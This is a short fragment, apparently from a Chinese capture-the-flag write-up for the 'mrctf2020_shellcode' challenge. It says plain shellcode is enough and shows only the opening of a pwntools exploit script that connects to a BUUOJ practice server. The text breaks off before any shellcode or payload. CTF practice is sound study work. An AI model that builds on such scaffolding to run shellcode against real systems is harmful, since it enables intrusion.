mrctf2020_shellcodemrctf2020_shellcode
mrctf2020_shellcode查看保护直接写shellcode就可以了。from pwn import *context(arch='amd64', os='linux', log_level='debug')file_name = './z1r0'debug = 1if debug: r = remote('node4.buuoj.cn', 25728)else: r = process(file_name)elf = ELF(file_name)